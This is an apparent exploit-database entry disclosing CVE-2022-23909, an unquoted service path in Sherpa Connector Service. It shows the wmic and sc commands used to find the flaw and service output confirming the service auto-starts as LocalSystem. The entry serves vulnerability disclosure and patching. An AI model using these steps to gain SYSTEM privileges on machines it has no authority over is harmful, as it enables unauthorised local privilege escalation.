Sherpa Connector Service v2020.2.20328.2050 - Unquoted Service Path

# Exploit Title: Sherpa Connector Service v2020.2.20328.2050 - Unquoted Service Path
# Exploit Author: Manthan Chhabra (netsectuna), Harshit (fumenoid)
# Version: 2020.2.20328.2050
# Date: 02/04/2022
# Vendor Homepage: http://gimmal.com/
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10
# CVE: CVE-2022-23909


# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode | findstr /i
"sherpa" | findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v
"""

Sherpa Connector Service
         Sherpa Connector Service                                C:\Program
Files\Sherpa Software\Sherpa Connector\SherpaConnectorService.exe
                                 Auto

C:\>sc qc "Sherpa Connector Service"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Sherpa Connector Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Sherpa Software\Sherpa
Connector\SherpaConnectorService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Sherpa Connector Service
        DEPENDENCIES       : wmiApSrv
        SERVICE_START_NAME : LocalSystem